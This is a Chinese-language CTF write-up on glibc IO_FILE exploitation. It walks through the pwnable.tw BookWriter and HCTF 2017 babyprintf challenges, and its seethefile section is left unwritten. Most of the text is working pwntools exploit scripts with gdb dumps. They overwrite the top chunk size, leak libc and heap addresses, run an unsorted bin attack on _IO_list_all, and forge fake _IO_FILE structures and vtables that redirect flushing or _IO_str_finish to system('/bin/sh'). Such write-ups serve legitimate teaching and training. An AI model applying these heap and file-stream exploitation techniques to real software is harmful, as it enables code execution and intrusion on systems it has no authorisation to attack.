IO_FILE利用总结(二)

接上一篇IO_FILE的利用总结,这一篇主要是几个题目。

pwnable.tw BookWriter

题目概述

这是pwnable.tw的一道题目,也是我学习IO_FILE结构遇到的第一个题目。这道题目有四个选择,可以add、view、edit、edit name四个功能,申请的page的大小没有限制。

1
2
3
4
5
6
7
8
9
10
11
Welcome to the BookWriter !
Author :1111111
----------------------
BookWriter
----------------------
1. Add a page
2. View a page
3. Edit a page
4. Information
5. Exit
----------------------

开保护的情况:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

题目漏洞

这个题目有3个漏洞,首先在程序接受content的输入时调用了以下函数,该函数会判断字符串最后一个字符是否为’\n’,如果为’\n’,才会将’\n’替换为’\0’,但如果输入的content恰好是输入的size的长度,最后结尾无’\n’,在printf时可能导致数据泄露。这个函数在add page和edit page时都调用这个函数接受content的输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_400856(__int64 a1, unsigned int a2)
{
int v3; // [sp+1Ch] [bp-4h]@1

v3 = _read_chk(0LL, a1, a2, a2);
if ( v3 < 0 )
{
puts("read error");
exit(1);
}
if ( *(_BYTE *)(v3 - 1LL + a1) == '\n' )
*(_BYTE *)(v3 - 1LL + a1) = 0;
return (unsigned int)v3;
}

第二个漏洞是程序在edit page时,edit输入完content之后,是调用strlen()来判断coontent的长度,并存入对应的size数组,但如果content的结尾没有’\0’,那strlen()会将next chunk的size域加进去,这样在下一次edit的时候,我们就可以覆盖next chunk的size域。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int edit_page()
{
int result; // eax@5
unsigned int v1; // [sp+Ch] [bp-4h]@1

printf("Index of page :");
v1 = sub_4008CD();
if ( v1 > 7 )
{
puts("out of page:");
exit(0);
}
if ( *(_QWORD *)&page_list[8 * v1] )
{
printf("Content:");
sub_400856(*(_QWORD *)&page_list[8 * v1], size_list[(unsigned __int64)v1]);
size_list[(unsigned __int64)v1] = strlen(*(const char **)&page_list[8 * v1]); //这个地方
result = puts("Done !");
}
else
{
result = puts("Not found !");
}
return result;
}

第三个是add page时判断page的个数是否大于8,在edit page时是判断page的个数是否大于7,正确应该是只能添加8个page,因为page_list的大小为64个字节,因为add可以添加9个page,那么page_list会溢出,正好溢出到size_list,这样我们就能在add第九个page时修改第一个page的size,由于page_list中存储的是page在堆上的起始地址,地址的数字对于size来说都比较大,那么我们就能在edit第一个page的时候达到堆的溢出,溢出的长度很大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int add_page()
{
unsigned int i; // [sp+Ch] [bp-14h]@1
void *v2; // [sp+10h] [bp-10h]@3
__int64 size; // [sp+18h] [bp-8h]@3

for ( i = 0; ; ++i )
{
if ( i > 8 ) //add 9个page
return puts("You can't add new page anymore!");
if ( !*(_QWORD *)&page_list[8 * i] )
break;
}
...
}

int edit_page()
{
int result; // eax@5
unsigned int v1; // [sp+Ch] [bp-4h]@1

printf("Index of page :");
v1 = sub_4008CD();
if ( v1 > 7 ) //只能edit 7个page
{
puts("out of page:");
exit(0);
}
...
}

1
2

利用过程

首先,这道题目没有free,因为可以修改next chunk的size域,那我们可以,然后申请一个比top chunk大的内存来使top chunk进入unsorted bin中,从而获得一个freed chunk。
首先add一个page,第一次edit修改其size,第二次edit覆盖top chunk的size域。

1
2
3
4
#overwrite topchunk
add_page(0x28,'1'*0x28) #idx=0
edit_page(0,'1'*0x28)
edit_page(0,'\x00'*0x28+'\xd1\x0f\x00')

修改后的堆的分布如下:

1
2
3
4
5
pwndbg> x /8gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000031 #idx0
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000fd1 #top chunk

再申请一个大的chunk,旧的top chunk进入unsorted bin中。此时,旧的top chunk的fd和bk为main_arena+0x58,此时再add一个chunk,就可以泄露libc的地址。

1
2
3
4
5
6
7
8
9
10
11
add_page(0x1000,'2222') #idx=1

#leak libc
add_page(0x20,'3') #idx=2
view_page(2)
p.recvuntil('Page #2 \nContent :\n')
data = p.recvuntil('\n',drop=True)
leak_addr = u64(data.ljust(8,'\x00'))
malloc_hook_addr = leak_addr + 0x45 - 0x58 - 0x610
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
system_addr = libc_base + libc.symbols['system']

page在堆上的分布如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x /8gx 0x603000  #idx0
0x603000: 0x0000000000000000 0x0000000000000031
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x603030 #idx2
0x603030: 0x0000000000000000 0x0000000000000031
0x603040: 0x00007ffff7dd2133 0x00007ffff7dd2188 #leak libc
0x603050: 0x0000000000603030 0x0000000000603030
0x603060: 0x0000000000000000 0x0000000000000f81
pwndbg> x /8g 0x624000 #idx1
0x624000: 0x0000000000000000 0x0000000000001011
0x624010: 0x0000000032323232 0x0000000000000000
0x624020: 0x0000000000000000 0x0000000000000000
0x624030: 0x0000000000000000 0x0000000000000000

由于我们需要在堆上伪造fake _IO_FILE,因此还需要泄露堆的地址。这里使用第四个功能edit name,因为author存储在bss段上,长度为0x40,后面与它相邻的就是存储page addr的地址,当修改的author长度为0x40字节时,利用”%s”遇到’\0’才会截断的特点,泄露page在堆上的地址。

1
2
3
4
5
6
7
info()
p.recvuntil('a'*0x40)
data = p.recvuntil('\n',drop = True).ljust(8,'\x00')
heap_base = u64(data) - 0x10
print 'heap_base:',hex(heap_base)
p.recvuntil('Do you want to change the author ? (yes:1 / no:0) ')
p.sendline('0')

修改后的author紧邻page_list。

1
2
3
4
5
6
pwndbg> x /10gx 0x602060
0x602060: 0x6161616161616161 0x6161616161616161 #author
0x602070: 0x6161616161616161 0x6161616161616161
0x602080: 0x6161616161616161 0x6161616161616161
0x602090: 0x6161616161616161 0x6161616161616161
0x6020a0: 0x0000000000603010 0x0000000000624010 #page_list

现在已经申请了idx0-idx2三个page,继续申请page至idx8,idx8也就是第九个page的地址覆盖size_list的前8个字节,将第一个page的size修改为较大的数。

1
2
for i in range(3,9): #idx3~idx8
add_page(0x20,str(i)*0x20)

1
2
3
4
5
6
pwndbg> x /10gx 0x6020a0
0x6020a0: 0x0000000000603010 0x0000000000624010 #page_list
0x6020b0: 0x0000000000603040 0x0000000000603070
0x6020c0: 0x00000000006030a0 0x00000000006030d0
0x6020d0: 0x0000000000603100 0x0000000000603130
0x6020e0: 0x0000000000603160 0x0000000000001000 #size_list

这样在编辑idx0的内容时可以接受非常大的输入。
接下来进行house of orange的构造。首先是Unsorted Bin Attack,将unsorted bin中的chunk也就是旧的top chunk的bk修改为_IO_list_all-0x10,将_IO_list_all的内容修改为main_arena+0x58。
修改之前的chunk idx0和unsorted bin中的分布是:

1
2
3
4
5
6
7
8
9
10
pwndbg> x /8gx 0x603000  #idx0
0x603000: 0x0000000000000000 0x0000000000000031
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000031
pwndbg> x /8gx 0x603180 #unsorted bin 旧的top chunk
0x603180: 0x0000000000000000 0x0000000000000e61
0x603190: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6031a0: 0x0000000000000000 0x0000000000000000
0x6031b0: 0x0000000000000000 0x0000000000000000

在旧的top chunk处构造fake _IO_FILE,将其起始地址的内容覆写为”/bin/sh”,size域修改为0x61,使其进入到以_IO_list_all为头部的_IO_FILE链中。

1
2
3
payload = 0x2e * p64(0)  #(0x603180 - 0x603010)/8 = 0x2e
stream = '/bin/sh\x00' + p64(0x61)
stream += p64(0xdeadbeef) + p64(IO_list_all-0x10) #fd bk

这里构造的条件是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_IO_vtable_offset (fp) == 0
fp->_mode > 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

//glibc ./libio/libioP.h
#if _IO_JUMPS_OFFSET
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
#else
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
# define _IO_vtable_offset(THIS) 0
#endif

在第一个条件中,fp->_vtable_offset的偏移是0x82,在exp将其伪造成0。
在第三个条件中,需要伪造fp->_wide_data->_IO_write_ptr和fp->_wide_data->_IO_write_base的值,_wide_data的偏移是0x50,调试可发现这两个值在fp->_wide_data中的偏移,其中rax是fp->_wide_data,0x20是_IO_write_ptr的偏移,0x18是_IO_write_base的偏移。
3
所以在exp中构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
IO_list_all = libc_base + libc.symbols['_IO_list_all']
vtable_addr = heap_base + 0x278 #0x3278

payload = 0x2e * p64(0)
stream = '/bin/sh\x00' + p64(0x61)
stream += p64(0xdeadbeef) + p64(IO_list_all-0x10) #fd bk

stream = stream.ljust(0xa0,'\x00')
stream += p64(heap_base + 0x250) #_wide_data 0x3250
stream = stream.ljust(0xc0,'\x00')
stream += p64(1) #_mode

payload += stream
payload += 2*p64(0) + p64(vtable_addr) #0xd8
payload += p64(0)
payload += p64(2) #fp->_wide_data->_IO_write_ptr
payload += p64(3) #fp->_wide_data->_IO_write_base

#vtable
payload += p64(0)*3
payload += p64(system_addr)
edit_page(0,payload)

最后在旧的top chunk处构造的fake _IO_FILE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p (*(struct _IO_FILE_plus*)0x603180)
$1 = {
file = {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0xdeadbeef <error: Cannot access memory at address 0xdeadbeef>,
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x603250,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x603278
}

构造的虚表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p (*(struct _IO_jump_t *)0x603278)
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x7ffff7a52390 <__libc_system>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

最后触发_IO_flush_all_lockp->_IO_OVERFLOW(fp, EOF)也就是_IO_flush_all_lockp->system(“/bin/sh”),获得shell。

1
2
3
4
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(0x20))

HCTF 2017 babyprintf

题目概述

这是HCTF2017的一道pwn题目,libc版本是2.24,可以申请不超过0x1000的chunk,有一个明显的格式化字符串的漏洞。

1
2
3
4
$ ./babyprintf
size: 12
string: %p%p%p%p
result: 0x7ffff7dd37800x7ffff7b042c00x7ffff7fdf7000x8size:

题目开保护的情况:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

题目漏洞

对于这个格式化字符串的漏洞,题目中开了FORTIFY保护,这个保护针对格式化字符串有一些对抗,可以看到所有的printf都替换成了__printf_chk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
void *v3; // rbx@2
unsigned int v4; // eax@3

sub_400950();
while ( 1 )
{
__printf_chk(1LL, (__int64)"size: ");
v4 = my_read();
if ( v4 > 0x1000 )
break;
v3 = malloc(v4);
__printf_chk(1LL, (__int64)"string: ");
gets((__int64)v3); //溢出
__printf_chk(1LL, (__int64)"result: ");
__printf_chk(1LL, (__int64)v3); //格式化字符串
}
puts("too long");
exit(1);
}

关于格式化字符串详细的介绍可以看这篇文章。简单来说,这个保护有以下两条限制:

1
2
含有%nd的格式化字符串不能位于程序内存的可写地址。
当使用位置参数时,必须使用范围内的所有参数,比如使用%5$x,必须同时使用1、2、3、4。

但其实比如%1$x%2$x这样的格式化字符串后面我也没有用到,我只使用格式化字符串漏洞去泄露libc了,而且用的是连续的”%p”。
程序中还用了gets()来接受输入,导致一个堆溢出的漏洞,相当于对输入的数据没有限制,无限溢出。这里就想到了house of orange,但时libc的版本是2.24,增加了新的check,但仍然可以利用_IO_str_jumps中的一些函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//glibc-2.24 /libio/strops.c
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

//glibc-2.24 /libio/libioP.h
#define JUMP_INIT(NAME, VALUE) VALUE
#define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0)

这里利用的是__libc_IO_vtables中的_IO_str_finish。

利用过程

首先利用溢出修改top chunk的size域:

1
2
3
4
5
6
7
8
def input(size,data):
#p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("string: ")
p.sendline(data)

payload = 'a'*0x10 + p64(0) + p64(0xfe1)
input(0x10,payload)

申请一个较大的chunk,并输入格式化字符串泄露libc,栈里面正好有一个__libc_start_main+0x241。
4

1
2
3
4
5
6
7
##leak libc base
input(0x1000,"%p%p%p%p%p%p")
data = p.recvuntil("size: ",drop=True)
leak_addr = int(data.split("0x")[-1],16)
#libc_base = leak_addr - libc.symbols["__libc_start_main"] - 240
libc_base = leak_addr - libc.symbols["__libc_start_main"] - 241
print "libc_base:",hex(libc_base)

接下来同样是Unsorted Bin Attack,将旧的top chunk的bk修改为_IO_list_all-0x10,因为我们只能在申请chunk的时候输入string的内容,但是因为有一个溢出的漏洞,我们可以输入任意长度的内容,所以可以申请一个chunk后,再越过这个chunk的大小去修改unsorted bin中的bk。另外,构造符合跳转到_IO_str_finish的条件,_IO_str_finish函数实现如下。

1
2
3
4
5
6
7
8
9
10
//glibc-2.24 /libio/strops.c
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

可以看到我们需要构造的条件有:

1
2
3
fp->_IO_buf_base为真,(fp->_flags & _IO_USER_BUF)为假
fp->_IO_buf_base为bin_sh_addr
fp->_s._free_buffer为system函数地址

可以看到_IO_str_finish的条件很简单,但是如何去触发_IO_str_finish,参考这篇文章的思路,一方面利用fclose(fp),另一方面可以利用_IO_flush_all_lockp->_IO_OVERFLOW(fp, EOF),_IO_OVERFLOW(fp, EOF)是正确执行时根据函数跳转表中的偏移得到函数__overflow,如果我们将虚表地址修改为实际虚表地址-0x8,符合__libc_IO_vtables地址安全检查的范围内,在实际执行时_IO_str_overflow偏移-8处正好是_IO_str_finish。所以我们在构造时也需要满足_IO_flush_all_lockp->_IO_OVERFLOW(fp, EOF)的条件:

1
2
3
4
5
6
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
//or
_IO_vtable_offset (fp) == 0
fp->_mode > 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

综合_IO_str_finish构造条件,得到最终构造条件如下:

1
2
3
4
5
6
//_IO_OVERFLOW(fp, EOF):
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
//\_IO\_str\_finish
fp->_IO_buf_base为bin_sh_addr
fp->_s._free_buffer为system函数地址

关于_s._free_buffer关于fp的偏移,可以在IDA中看到正好是0xe8:
5

exp中payload最终构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
_IO_str_jumps = libc_base + 0x3be4c0
_IO_list_all = libc_base + libc.symbols["_IO_list_all"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search("/bin/sh\x00"))

payload = 'A'*0x200
stream = p64(0) #flag
stream += p64(0x61)
stream += p64(0) + p64(_IO_list_all-0x10) #bk
stream += p64(0) + p64(1) #_IO_write_base + _IO_write_ptr
stream += p64(0)
stream += p64(binsh_addr) #_IO_buf_base offset 0x38
stream = stream.ljust(0xc0,'\x00')
stream += p64(0) #_mode
stream += p64(0) *2
stream += p64(_IO_str_jumps-0x8) #vtable offset 0xd8
stream = stream.ljust(0xe8,'\x00')
stream += p64(system_addr) #offset 0xe8
payload += stream
input(0x200,payload)

最终触发_IO_flush_all_lockp,获得shell:

1
p.sendline('1')

pwnable.tw seethefile

待补充

题目概述

题目漏洞

利用过程

参考

http://tacxingxing.com/2018/01/12/pwnabletw-bookwriter/
https://bbs.pediy.com/thread-222735.htm
https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
https://firmianay.gitbooks.io/ctf-all-in-one/doc/4.13_io_file.html